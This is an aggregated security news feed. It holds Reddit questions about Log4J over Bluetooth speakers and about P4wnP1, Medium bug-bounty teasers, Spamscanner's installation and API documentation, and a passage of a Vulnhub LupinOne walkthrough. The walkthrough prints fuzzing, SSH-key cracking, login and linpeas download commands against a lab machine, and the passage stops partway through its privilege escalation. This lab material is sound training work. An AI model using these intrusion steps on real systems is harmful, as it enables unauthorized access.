hacking: security in practice
Did you ever try a Log4J exploit over a bluetooth speaker? What do you think is possible here..

I know many bluetooth speakers with java at its core, how do you think you can inject your log expression or did you ever try it?

submitted by /u/IAmAPureGamer
[link] [comments]

Information Disclosure leads to sensitive credential($$$)
https://medium.com/@mamunwhh/information-disclosure-leads-to-sensitive-credential-35e779f6f4db?source=rss------bug_bounty-5

Hi Hackers, hope you are fine.my name is khan mamun(white hat hacker) This is my 3rd write up.Continue reading on Medium » (https://medium.com/@mamunwhh/information-disclosure-leads-to-sensitive-credential-35e779f6f4db?source=rss------bug_bounty-5)

Information Disclosure leads to sensitive credential($$$)

Hi Hackers, hope you are fine.my name is khan mamun(white hat hacker) This is my 3rd write up.Continue reading on Medium »
Read more...

SQL Injection — 1st Dose

An Injection that is not used for treatment!Continue reading on Medium »
Read more...

SQL Injection — 1st Dose
https://medium.com/@ARON.IN/sql-injection-1st-dose-24aee1c2bf38?source=rss------bug_bounty-5

An Injection that is not used for treatment!Continue reading on Medium » (https://medium.com/@ARON.IN/sql-injection-1st-dose-24aee1c2bf38?source=rss------bug_bounty-5)

hacking: security in practice
PiZW2 + P4WNP1?

Anyone tried P4wnp1 on the new Pi Zero W 2 yet? I absolutely Love how flexible P4wnp1 is and with the new ZW2 being 3 times faster than the 1 I'm really interested in seeing how plug and play it is without modification. Anyone give it a try yet? Im hoping not have my ZW2 within the next week to give it a shot.

submitted by /u/EEPROM1605
[link] [comments]

Spamscanner - Spam Scanner Is The Best Anti-Spam, Email Filtering, And Phishing Prevention Service
http://www.kitploit.com/2021/12/spamscanner-spam-scanner-is-best-anti.html

sudo apt-get install build-essential clamav-daemon clamav-freshclam clamav-unofficial-sigs -qq
sudo service clamav-daemon startYou may need to run sudo freshclam -v if you receive an error when checking sudo service clamav-daemon status, but it is unlikely and depends on your distro.Configure ClamAV:sudo vim /etc/clamav/clamd.conf-Example
+#Example

-#StreamMaxLength 10M
+StreamMaxLength 50M

+# this file path may be different on your OS (that's OK)

\-#LocalSocket /tmp/clamd.socket
\+LocalSocket /tmp/clamd.socketsudo vim /etc/clamav/freshclam.conf-Example
+#ExampleEnsure that ClamAV starts on boot:systemctl enable freshclamd
systemctl enable clamd
systemctl start freshclamd
systemctl start clamdmacOSInstall ClamAV:brew install clamavConfigure ClamAV:# if you are on Intel macOS
sudo mv /usr/local/etc/clamav/clamd.conf.sample /usr/local/etc/clamav/clamd.conf

# if you are on M1 macOS (or newer brew which installs to `/opt/homebrew`)
sudo mv /opt/homebrew/etc/clamav/clamd.conf.sample /opt/homebrew/etc/clamav/clamd.conf# if you are on Intel macOS
sudo vim /usr/local/etc/clamav/clamd.conf

# if you are on M1 macOS (or newer brew which installs to `/opt/homebrew`)
sudo vim /opt/homebrew/etc/clamav/clamd.conf-Example
+#Example

-#StreamMaxLength 10M
+StreamMaxLength 50M

+# this file path may be different on your OS (that's OK)

\-#LocalSocket /tmp/clamd.socket
\+LocalSocket /tmp/clamd.socket# if you are on Intel macOS
sudo mv /usr/local/etc/clamav/freshclam.conf.sample /usr/local/etc/clamav/freshclam.conf

# if you are on M1 macOS (or newer brew which installs to `/opt/homebrew`)
sudo mv /opt/homebrew/etc/clamav/freshclam.conf.sample /opt/homebrew/etc/clamav/freshclam.conf# if you are on Intel macOS
sudo vim /usr/local/etc/clamav/freshclam.conf

# if you are on M1 macOS (or newer brew which installs to `/opt/homebrew`)
sudo vim /opt/homebrew/etc/clamav/freshclam.conf-Example
+#ExamplefreshclamEnsure that ClamAV starts on boot:sudo vim /Library/LaunchDaemons/org.clamav.clamd.plistIf you are on Intel macOS: <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> Label org.clamav.clamd KeepAlive Program /usr/local/sbin/clamd ProgramArguments clamd RunAtLoad '><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">


Label
org.clamav.clamd
KeepAlive

Program
/usr/local/sbin/clamd
ProgramArguments

clamd

RunAtLoad


If you are on M1 macOS (or newer brew which installs to /opt/homebrew) <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> Label org.clamav.clamd KeepAlive Program /opt/homebrew/sbin/clamd ProgramArguments clamd RunAtLoad '><?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">


Label
org.clamav.clamd
KeepAlive

Program
/opt/homebrew/sbin/clamd
ProgramArguments

clamd

RunAtLoad


Enable it and start it on boot:sudo launchctl load /Library/LaunchDaemons/org.clamav.clamd.plist
sudo launchctl start /Library/LaunchDaemons/org.clamav.clamd.plistYou may want to periodically run freshclam to update the config, or configure a similar plist configuration for launchctl.Installnpm (https://www.npmjs.com/):npm install spamscannerUsage { try { const scan = await scanner.scan(source); console.log('scan', scan); } catch (err) { console.error(err); } }); // then/catch usage scanner .scan(source) .then(scan => console.log('scan', scan)) .catch(console.error); // callback usage if (err) return console.error(err); scanner.scan(source, (err, scan) => { if (err) return console.error(err); console.log('scan', scan); }); ">const fs = require('fs');
const path = require('path');

const SpamScanner = require('spamscanner');

const scanner = new SpamScanner();

//
// NOTE: The `source` argument is the full raw email to be scanned
// and you can pass it as String, Buffer, or valid file path
//
const source = fs.readFileSync(
path.join(__dirname, 'test', 'fixtures', 'spam.eml')
);

// async/await usage
(async () => {
try {
const scan = await scanner.scan(source);
console.log('scan', scan);
} catch (err) {
console.error(err);
}
});

// then/catch usage
scanner
.scan(source)
.then(scan => console.log('scan', scan))
.catch(console.error);

// callback usage
if (err) return console.error(err);
scanner.scan(source, (err, scan) => {
if (err) return console.error(err);
console.log('scan', scan);
});APIconst scanner = new SpamScanner(options)The SpamScanner class accepts an optional options Object of options to configure the spam scanner instance being created. It returns a new instance referred to commonly as a scanner.We have configured the scanner defaults to utilize a default classifier, and sensible options for ensuring scanning works properly.For a list of all options and their defaults, see the index.js (https://github.com/spamscanner/spamscanner/blob/master/index.js) file in the root of this repository.scanner.scan(source)NOTE: This is most useful method of this API as it returns the scanned results of a scanned message.Accepts a required source (String, Buffer, or file path) argument which points to (or is) a complete and raw SMTP message (e.g. it includes headers and the full email). Commonly this is known as an "eml" file type and contains the extension .eml, however you can pass a String or Buffer representation instead of a file path.This method returns a Promise that resolves with a scan Object when scanning is completed. You can also use this method with a second callback argument.The scanned results are returned as an Object with the following properties (descriptions of each property are listed below):{
is_spam: Boolean,
message: String,
results: {
classification: Object,
phishing: Array,
executables: Array,
arbitrary: Array
},
links: Array,
tokens: Array,
mail: Object
}PropertyTypeDescriptionis_spamBooleanA value of true is returned if category property of the results.classification Object was determined to be "spam", results.phishing was not empty, or results.executables was not empty – otherwise its value is falsemessageStringA human-friendly message indicating why the source was classified as spam or ham (e.g. all messages/reasons from results.classification, results.phishing, and results.executables are joined together)resultsObjectAn Object of properties that provide detailed information about the scan (very useful for debugging)results.classificationObjectAn Object with category (String) and probability (Number) values returned based off the categorization of the source from the Naive Bayes classifierresults.phishingArrayAn Array of Strings indicating phishing attempts detected on the sourceresults.executablesArrayAn Array of Strings indicating executable attacks detected on the sourceresults.arbitraryArrayAn Array of Strings indicating arbitrary spam-detection mechanisms detected on the sourcelinksArrayAn Array of Strings that include all of the parsed and normalized links detected on the source. This is extremely useful for URL reputation management.tokensArrayDebug only: An Array of tokenized and stemmed words (parsed from the source, with respect to determined locale) used internally (for classification against the classifier) and exposed for debugging. This property is only returned when debug option in the instance is set to true.mailObjectDebug only: A parsed mailparser.simpleParser object used internally and exposed for debugging. This property is only returned when debug option in the instance is set to true.scanner.getTokensAndMailFromSource(source)Accepts a source argument (String, Buffer, or file path) to an

email message (e.g. a .eml file). This method will automatically call fs.readFile internally if the source argument is a String and determined to be a valid path.This method parses the source email message using mailparser's (https://nodemailer.com/extras/mailparser/) simpleParser function.It then tokenizes and stems the message's subject, html, and text parts (with respect to the i18n determined language of the message, e.g. en, es, jp, ru, etc). See the getTokens method documentation for insight into how language is determined.Currently Spam Scanner supports the following locales for tokenization, stemming, and stopword removal. Note that we select specific tokenizers, stemmers, and stopwords based off the detected language in the source.NameLocaleArabicarDanishdaDutchnlEnglishenFinnishfnFarsifaFrenchfrGermangrHungarianhrIndonesianinItalianitJapanesejaNorwegiannb, nnPolishpoPortugueseptSpanishesSwedishsvRomanianroRussianruTamiltaTurkishtrVietnameseviChinesezhThis method returns a Promise that resolves with a { tokens, mail } Object. You can also use this method with a second callback argument.Note that tokens is an Array of parsed tokenized and stemmed words, and mail is the simpleParser parsed mail Object.This is the core internal method used for building the Bag-of-words model (https://en.wikipedia.org/wiki/Bag-of-words_model) which is then fed to the classifier for categorization.See classifier.js (https://github.com/spamscanner/spamscanner/blob/master/classifier.js) for an example implementation of this method (e.g. the one used in generating the default classifier dataset).scanner.getClassification(tokens)Accepts a tokens Array of tokens parsed from the tokens property returned in the Object from scanner.getTokensAndMailFromSource (see above).This method returns a Promise that resolves with the classification determined from naivebayes (https://github.com/ladjs/naivebayes).In order to defend against gibberish attack vectors, classification is limited to a limited bag of words approach by. The default value is 20000 words per category. In other words the most 20000 common spam words and 20000 common ham words are used to determine the classification of the original source.We have plans to further refine the classifier to strip all gibberish by testing against Wikimedia (https://dumps.wikimedia.org/backup-index.html) (or Google AI (https://ai.googleblog.com/2006/08/all-our-n-gram-are-belong-to-you.html)) datasets of word dictionaries of every language. This is not an easy feat to pull off, however we have concrete plans for how we will approach this.scanner.getPhishingResults(mail)Accepts a mailparser.simpleParser parsed mail Object.This method returns a Promise that resolves with an Array of messages (if any) that indicates that links parsed from the message were detected to be phishing attempts. You can also use this method with a second callback argument.This method also prevents the common IDN homograph attacks (https://en.wikipedia.org/wiki/IDN_homograph_attack). If any link is detected to start with the string xn-- (e.g. after conversion from punycode.toASCII) then it is detected as phishing.A common example of this is a link of рaypal.com which when converted to ASCII is xn--aypal-uye.com – but when rendered it looks almost identical (if not identical) to paypal.com.This method checks against Cloudflare for Families (https://developers.cloudflare.com/1.1.1.1/1.1.1.1-for-families) servers for both adult-related content, malware, and phishing. This means we do two separate DNS over HTTPS requests to 1.1.1.2 for malware and 1.1.1.3 for adult-related content. You can parse the messages results Array for messages that contain "adult-related content" if you need to parse whether or not you want to flag for adult-related content or not on your application.If you are using Cloudflare for Families DNS servers as mentioned in Requirements (https://github.com/spamscanner/spamscanner#requirements)), then if there

are any HTTPS over DNS request errors, it will fallback to use the DNS servers set on the system for lookups, which would in turn use Cloudflare for Family DNS. (using DNS over HTTPS with a fallback of dns.resolve4 (https://nodejs.org/api/dns.html#dns_dns_resolve4_hostname_options_callback)) – and if it returns 0.0.0.0 then it is considered to be phishing.We actually helped Cloudflare in August 2020 to update their documentation to note that this result of 0.0.0.0 is returned for maliciously found content on FQDN and IP lookups.scanner.getExecutableResults(mail)Accepts a mailparser.simpleParser parsed mail Object.Note that this method detects (with respect to executables.json (https://github.com/spamscanner/spamscanner/blob/master/executables.json) using "Content-Type" header detection, file extension detection, and magic number (https://en.wikipedia.org/wiki/Magic_number_(programming)#Magic_numbers_in_files) detection.This method returns a Promise that resolves with an Array of messages (if any) that indicate that links and/or attachments parsed from the message were dangerous (e.g. contained executable files or links to executable files). You can also use this method with a second callback argument.This method also takes into consideration that the file extension and name could have a homograph attack (https://en.wikipedia.org/wiki/IDN_homograph_attack) by using punycode.toASCII on the file name.It also scans against links in the message itself for links to executables.scanner.getTokens(str, locale, isHTML = false)Accepts a str (String) and optional locale (String - valid i18n locale according to i18n-locales (https://github.com/ladjs/i18n-locales)) and isHTML parameters. If isHTML is set to true, then that indicates that the String passed as str is in HTML format.Returns an Array of SHA-256 hashed tokenized and stemmed words, with respect to the passed, detected, or default locale. If config.debug is true, then the values are not returned as hashed values (e.g. this is useful in testing and debugging).Note that this is "smart" in the sense it will parse the "Content-Language" header of the message, the content attribute of the HTML message's , or the lang attribute of .After parsing the language of the message, it will then use the package franc (https://github.com/wooorm/franc) to attempt to determine the language of the message (as long as the message has at least 150 characters, which is configurable).Most importantly the following types of tokens are replaced with cryptographically generated random hashes:Emojis (this includes Github-flavored emoji written in Markdown (https://www.kitploit.com/search/label/Markdown) and all Unicode emojis)MAC addressesCredit cardsBitcoin addressesPhone numbersHex colorsInitialismsAbbreviationsEmail addressesLinksIntegers and floating point valuesCurrenciesNote that the replacements for these types of tokens are whitelisted when stemming is performed.Contractions are also expanded, e.g. "they're" becomes two tokens, "they" and "are", which are then stemmed accordingly.scanner.getArbitraryResults(mail)Accepts a mailparser.simpleParser parsed mail Object.This method will test the message against arbitrary spam-detection reasons, such as GTUBE (https://spamassassin.apache.org/gtube/).Returns an Array of messages (if any) that indicate that parts of the message were detected to be spam-related for arbitrary reasons. You can also use this method with a second callback argument.scanner.getVirusResults(mail)Accepts a mailparser.simpleParser parsed mail Object.This method returns a Promise that resolves with an Array of messages (if any) that indicate that attachments parsed from the message were dangerous (e.g. contained trojans, viruses, malware, and/or other malicious threats). You can also use this method with a second callback argument.ClamAV is used internally with this method, in order to scan the attachments (in parallel).scanner.parseLocale(locale)Accepts a locale and returns it as

Hacking on Medium
know details about windows-11 unique keyboard shortcuts — Knowledge World

https://cdn-images-1.medium.com/max/1280/0*ypytqBXl67Y3SIYC
know details about windows-11 unique keyboard shortcuts — Knowledge World

Continue reading on Medium »

Hacking Articles|Raj Chandel's Blog
Empire: LupinOne Vulnhub Walkthrough

Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. This lab is appropriate for seasoned CTF players who want to put their skills to the test. Enumeration is the key, so, let's get started and figure out how to break things down into manageable pieces.Pentesting Methodology<o:pNetwork Scanning<o:p● netdiscover<o:p

● nmap<o:p Enumeration<o:p● abusing HTTP<o:p

● fuzzing<o:p Exploitation<o:p● john<o:p

● ssh<o:p Privilege Escalation<o:p● linpeas<o:p

● python library hijacking<o:p

● pip<o:p

● root flag<o:p Level: Easy-Medium<o:pNetwork Scanning<o:pTo begin, we must use the netdiscover command to scan the network for the IP address of the victim machine.<o:pTo move forward in this process, we are launching Nmap.<o:p nmap -sC -sV 192.168.1.2<o:pWe have, according to the nmap output:<o:p

● on port 22 there is an SSH server.<o:p

● an HTTP service (Apache Server) running on port 80, as well as a/~myfilespage.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEghBsP84_4xLRFQPdgiP6oO24gZ_1IR7PMzfcsRrITiADV56Gfup6xmiXSe-se5HEuoQ4nf5I5RpFQalh4YyAAZ0E7oYKTZMBi0rhwYCNDxJV4WOWI4NW1zCMvwxfHc9Jb_1T6QAjVJm8eqByS2DcK-aqAf0-HKuRpTgga8UvSUCGkAraCU7rpunLdZTQ=s16000 Enumeration<o:pWe began the enumeration procedure by inspecting the (/~myfiles) HTTP page. Discovered an Error 404, which seemed suspicious.<o:p http://192.168.1.2/~myfiles/<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhLH5sXCFOBNeJHgBJ1IDqH2OkfEhgvDFHcMSzswAgFMGG0K3Id-lUuF6wW0dJ77D7-GmFh-IOu8fVGnXuggRGIXWPsj7HEBhofU-ECTJKeQuGTAMBMKAQNw_9BEnJqCMq8w8AlhUdLwksXMzH6A4jO9lXeKhMk4EhHDLCqJQWOKuZiNNl6R4sZSCpxqA=s16000 We looked at the view page source and found comment “you can do it, keep trying”.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhm6WdtreqzMmhBFuD-dtE9w_Iy6dysF3CBgsoY3jThLS7WAVaMV5C1dXAXbZY8-15m_4tpM7Bpr9QaNQC6AMHoR6RvjqdrGFAGBI4XN1AbVVo98pTwkQYt6WRGl0HmkVcrbPPo2bBtNaKams6iixIAesyheb37eOUfn1T6VMalL516NSKp2jhioHTBNQ=s16000 As a result, we use fuzzing to gain some additional information from this case. We made use of ffuf andwe obtained a directory (secret).<o:p ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.1.2/~FUZZ'<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEjZ6f7qCjVe9e0Iu-wk4oyPAf7M1z5mLsRpHoYLeMr5bvcZQ9RsqbNIM1KtqBtpdbIr3xVN3yezqeqSs6MtEgWBI7YI_R9CqFXxsYCXpoCZPXNv7Z9Yk9RnEB1l9-FGUJ3egsymxYxDLBq96Xg82Vorm0EKbmi-8bgw6CyCemDrD0oSH5kBwdPMhbSpMQ=s16000 Take a good look at that secret directory and analyses that here author is sharing some information related to SSH private key file related to user “icex64” that we need to fuzz.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEhwupkQdJHLd8xUCJJoRFZmijoRNwKZ9yKGILmhp3SMxS3uLODDooGt1E-LbenubOt0xpQxJiLS6bDbzadlyn2KE_kNqsjIJGMmDPD0R5U96ff2PaVNfmErzqgnewblm2eG6SeHxLqaRZ93KuadSoiOzHtcQklK23TyDwZRccjCWZqX6uGtZEMSGbblSQ=s16000 To find that secret private ssh key, we again use fuzzing with the help of ffuf once more and found text file (mysecret.txt).<o:p ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.1.2/~secret/.FUZZ' -fc 403 -e .txt,.html<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEi5QbA5G3b6uOm9Ju_dfUZqgHd4c-U_-anbrMPMZ1bUbfSgiRLNaiGOuPovaYoCP9DONRdykY0QcCsNMLrh9aFlOHO6c9L0EcIdvyCyfUTkxKOePVw9330JbwtRxjMrpzqzpBOvOc9oLPVa9DaeiUTFisf7tu01IDM04OpwUezDEOYEhazqttnoSGke3w=s16000 We explore mysecret.txt with a web browser. It appears to be a private ssh key, b[...]

ut it is encoded. We thoroughly examined this key and discovered that it is encoded in base 58.<o:p

http://192.168.1.2./~secret/.mysecret.txt<o:p https://blogger.googleusercontent.com/img/a/AVvXsEg84s0NAW0DGep_GZ2JJJvPapD-bmiPfHN8kTqqXh_wAmQGvRDQeII8qZoPqxx8mhWAuzXCVUo1jofUynz5ycgCtNxTpXZM20ym3kQHfzGSif0GGQRoVcYdkpyRzMwJeT57U_JOi5JsAV6DVpmQPTILVtexiNoemQnGkaDTZo4Yy7fUI0LozCXc-iM5zg=s16000 We looked up a base 58 decoder online and were met with browserling. It is the most basic online base-58 decoder for web developers and programmers. <o:p

Simply enter your data in the form below, click the Base-58 Decode button, and you'll be presented with a base-58 encoded string. We obtained our ssh-keyafter decoding it.<o:p https://blogger.googleusercontent.com/img/a/AVvXsEirLSLPT-MiFXVXnIT8_s8Gu2UFPds70YN2EK9G_VubFyxEjZlBAZ88eMW42NEJOjgv2Qli4P0ZX646gpwAq-VdHCEJ4JoIIFOqG3zLSVlGBLqpUDZOAVJMut_jOrZeVkty6qMC1y-GHXMWefCT92Ac_GhpQXz7nhhBdTj2Ahk2aPytPxzz-VtrD_vPNw=s16000 Exploitation<o:p

Since the author has share some hint related to passphrase for SSH Key, thus we are using ssh2john to obtain the hash value of the ssh-key.<o:p locate ssh2john<o:p/usr/share/john/ssh2john.py sshkey > hash<o:pNow, use john to crack the hash value.<o:p john --wordlist=/usr/share/wordlists/fastrack.txt hash<o:pIn a few seconds, Bingo!! We obtained the ssh-key password (P@55w0rd!).<o:p https://blogger.googleusercontent.com/img/a/AVvXsEijOCVSJJBUX0zThR9vVWf-CHaLS2IDwCbNxV1_TGmJZxtZ9o-iUO5jm335xNU_L4-IO6SLgp3B6-8x7NJ3SGm8ZQZvJIevj3mKJfUi7MxViUegItw48yvk-hGgmvJEfc-zAvwBglI1WhPyW9nQRPiWTyjl9yxO9F0T9b5SNuLyieUV_gDZPAxm1deJQA=s16000 We have all of the requirements for ssh login. Use our icex64 username, ssh-key, and cracked password (P@55w0rd!).<o:p ssh -i sshkey icex64@192.168.1.2<o:pBang!! We used theicex64 user to connect to ssh. We promptly verified this user's access and discovered that a Python file was running. We promptly examined that file and discovered that it could be exploited using the Python Library Hijackingapproach.<o:p sudo -l<o:pcat /home/arsene/heist.py<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEhBSCBNa0u9PentMJ8Pbp5k7XFzZRgb8GaiT0aurTrnrYY5udON_5DM6jhif3PVblPaNOXLmSnY4YEvhbuVQHloZx2jiWjeq8ml5C9p_it9hR9A2XxXUT-owiZ48T7pgvG59c7twyyW0TO29wwQ5bljWj_IGK8OV4rjouvcI_aUkkKHUgEtxG8Ax0kl-A=s16000 Privilege Escalation<o:pWe've started the process of escalating privileges. To begin with the Python Library Hijacking technique, we must first determine the coordinates of webbrowser.py. That's why we're employing the linpeas script.<o:p

We've previously downloaded the Linpeas script from git page. Now we just navigate to that directory and launch a basic Python http server.<o:p python -m SimpleHTTPServer 80<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEh4BQ2VQiDgk_lKM7b3S5thy9Z01nEia3j2cJIBpV58zUyvnJEbzhs9CZSgTAnsDz3V8sZZdtKWQBkehmzqh3W2xSVVXV_eyxTCjmWcOTw-WZx1AxUXJ30one7QR_kC4LUG4NEJuPMSH4KB17Q1g5i9f8ot8nidaxFqpubrdhnTpwxeGeY6rgpCVivqNQ=s16000 Now we'll switch to the icex64 terminal. We moved the directory to /tmp directory and imported the Linpeas script from Kali Linux using the wget function.<o:p cd /tmp<o:pwget 192.168.1.3/linpeas.sh<o:pThen we granted the script the ALL permissions. Then we ran it right away.<o:p chmod 777 linpeas.sh<o:p./linpeas.sh<o:phttps://blogger.googleusercontent.com/img/a/AVvXsEiZQlBdUI6gxnU7VILl5Phw-avfYYgRqCZO0pYa1wDHpL_2Lk2CaAc49wRhXgonvbqDYIL-y3CZNqWmAKxHocWyYBmxYrFQpaGIuPJyXFDz1gio-5Mqi4Nxu64aey_0eq32iRcpdoNHwx1nyWxzPnfA1UNwe_JcOibNsZaw62t-NcISiAieqPUVWtvjdg=s16000 We obtained the location of the Python file in a matter of seconds (webbrowser.py).<o:p https://blogger.googleusercontent.com/img/a[...]